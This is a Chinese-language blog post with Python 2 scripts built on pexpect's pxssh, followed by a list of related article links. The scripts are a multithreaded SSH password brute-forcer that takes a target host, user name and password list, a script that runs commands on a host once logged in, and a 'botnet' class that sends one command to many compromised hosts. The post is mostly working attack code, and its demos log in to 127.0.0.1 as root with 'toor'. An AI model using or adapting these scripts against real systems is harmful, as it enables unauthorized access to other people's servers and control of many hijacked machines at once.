Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
目录
环境:Kali Linux python 2.7.13
暴力破解SSH口令
Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 login()、logout() 和 prompt() 等函数直接与SSH进行交互 。对于login()函数,如果执行成功则不会抛出异常,将显示消息表示密码已经找到并把表示密码已找到的全局布尔值设置为true,如果异常显示密码被拒绝则返回即可,如果异常显示socket为 "read_nonblocking" 则可能是SSH服务器被大量的连接刷爆了,可以过会儿再试,如果异常显示pxssh命令提示符提取困难也应该过会儿再试一次。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 22:01:51 2018
@author: 小谢
"""
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnection=5 #设置最大连接数
connection_lock=BoundedSemaphore(value=maxConnection)
global Found #密码全局布尔值
Found=False
global Fails #失败的次数
Fails=0
def connect(host,user,password,release):
try:
s=pxssh.pxssh() #实例化
s.login(host,user,password) #登录
print '[+] Password Found:'+password #如果不抛出异常,说明密码正确
Found=True
except Exception,e:
if 'read_nonblocking' in str(e): #主机被大量的SSH连接刷爆了
Fails+=1
time.sleep(5)
connect(host,user,password,False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host,user,password,False)
finally:
if release:
connection_lock.release() #解锁线程
def main():
parser=optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
parser.add_option('-H',dest='Host',type='string',help='target host')
parser.add_option('-F',dest='passwdFile',type='string',help='password file')
parser.add_option('-u',dest='user',type='string',help='the user')
(options,args)=parser.parse_args()
host=options.Host
passwdFile=options.passwdFile
user=options.user
if host==None or passwdFile==None or user==None:
print(parser.usage)
exit(0)
fn=open(passwdFile,'r') #打开密码文件
lines=fn.readlines()
for line in lines:
if Found:
print("[*] Exiting: Password Found")
exit(0)
if Fails>5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire() #锁定线程
password=line.strip("\n")
print("[-] Testing:"+str(password))
t=Thread(target=connect,args=(host,user,password,True)) #开启密码爆破线程
t.start() #启动线程
if __name__=='__main__':
main()

但是这个脚本有一个bug就是,你第一次爆破主机如果有正确密码则会爆出出来,第二次爆破的话就算是有正确密码也不会爆破出来。(自己主机没有这种bug,爆破其他主机会出现这种bug)
SSH远端执行命令
当我们破解了SSH的口令之后,我们就可以运行命令了。
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 3 23:37:11 2018
@author: 小谢
"""
from pexpect import pxssh
def send_command(s,cmd):
s.sendline(cmd) #发送命令给主机
s.prompt() #匹配cmd执行后的下一步操作的命令提示符
print s.before #输出命令提示符之前的内容
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password) #登录
return s #返回登录的session
except:
print '[-] Error Connecting' #登录失败
exit(0)
s=connect('127.0.0.1','root','toor')
send_command(s,'uname -r')

这个脚本也是有这种bug,第一次可以正确执行命令,第二次就算用户名密码正确,也显示Error Connecting。 (自己主机没有这种bug,爆破其他主机会出现这种bug)
构建僵尸网络
既然可以控制一台,那么就可以控制多台,从而可以构建僵尸网络了!
我们创建了一个Client()类,为了构造client对象,需要主机名,用户名以及密码。同时,这个类还要包含维持与肉鸡连接所需的方法:connect() 、send_command() 。Botnet全局数组记录了单个client对象,addClient()方法的输入是主机名,用户和密码并以此实例化一个client对象并将它添加到botnet数组中。botnetCommand()函数只要一个参数即要发布的命令,这函数遍历整个数组,把命令发送到botnet数组中的每个client上。
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 2 22:41:45 2018
@author: 小谢
"""
from pexpect import pxssh
class Client:
def __init__(self,host,user,password): #初始化对象
self.host=host
self.user=user
self.password=password
self.session=self.connect()
def connect(self): #ssh连接
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print '[-] Error Connecting'
def send_command(self,cmd): #发送命令
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output=client.send_command(command)
print '[*] Output from '+ client.host
print '[+] '+output
def addClient(host,user,password):
client=Client(host,user,password) #实例化对象
botNet.append(client)
botNet=[]
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
addClient('127.0.0.1','root','toor')
botnetCommand("uname -a")

Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)的更多相关文章
- Python脚本暴力破解FTP口令(ftplib)
目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...
- [小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码
家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能. 免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 ...
- centos 7 DenyHosts 安装 防暴力破解ssh登陆
为了减少软件扫描ssh登陆 还是用这个比较好点 默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...
- 10小时之内,暴力破解SSH账号的IP
10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于 ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...
- 使用Medusa美杜莎暴力破解SSH密码
使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...
- Linux 利用hosts.deny 防止暴力破解ssh
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- Linux 利用hosts.deny 防止暴力破解ssh(转)
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解
XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...
- Python脚本自动化破解大白鲨摄像头(Shodan)
关于本文的技术知识点,Shodan模块的用法,传送门--> Python中shadon模块的使用 Shodan的使用 今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的 ...
随机推荐
- 13. Vue CLI脚手架
一. Vue CLI 介绍 1. 什么是Vue CLI? Vue CLI 是一个基于 Vue.js 进行快速开发的完整系统.Vue CLI 致力于将 Vue 生态中的工具基础标准化.它确保了各种构建工 ...
- Ubuntu小配置
Ubuntu 拍摄快照 在虚拟机安装好.配置号后各拍摄一次快照,并存储. 可在虚拟机出错后回滚 Root用户 Ubuntu默认不能以 Root用户身份直接登录 因此,正常操作时在需要调用 root权限 ...
- C#关于个Base64,MD5,16进制的转换
1,待签名数据以UTF-8的格式转字节流,对字节流进行MD5算法得到的签名字节流,再转换为16进制字符串,即生成了数字签名. byte[] targetData = md5.ComputeHash(S ...
- FreeBSD 镜像站问题 @2021
主要问题在于官方无论如何也不开放 rsync 且不接受镜像站的官方二级镜像申请. 多次联系均无二次联系,如邮件列表,大概五次,其中三次回应,两次无回应.其主要回复内容为"深表歉意,但台湾地区 ...
- TensorFlow学习(1)-初识
初识TensorFlow 一.术语潜知 深度学习:深度学习(deep learning)是机器学习的分支,是一种试图使用包含复杂结构或由多重非线性变换构成的多个处理层对数据进行高层抽象的算法. 深度学 ...
- Tornado 简明教程
1.TornadoTornado:python编写的web服务器兼web应用框架1.1.Tornado的优势轻量级web框架异步非阻塞IO处理方式出色的抗负载能力优异的处理性能,不依赖多进程/多线程, ...
- go语言几个最快最好运用最广的web框架比较
比较一下常用的golang web框架 令人敬畏的Web框架 如果你为自己设计一个小应用程序,你可能不需要一个Web框架,但如果你正在进行生产,那么你肯定需要一个,一个好的应用程序. 虽然您认为自己拥 ...
- python-3-2
一 切片 1.切片是list取值的一种方式 列子: nums = ['a','b','c','d','e','f','h','g','k','l','kk','nn','ee'] 取b和c元素出来 p ...
- 【MCU】移植AT32库&FreeRTOS教程
目录 前言 1. 移植AT库 1.1 移植内核相关文件 1.2 移植芯片型号相关文件 1.3 移植芯片外设驱动库 1.4 移植配置文件及中断回调函数文件 2. 移植FreeRTOS源码 2.1 获取 ...
- io流(对象流总结)
对象流 对象流就是对引用数据类型进行操作 序列化:将对象的状态信息转换为可以存储或传输的形式的过程,因此类需要序列化后才可以存储到文件中 对象输出流: 很简单,就三句话,将把一个对象导入指定文件中,要 ...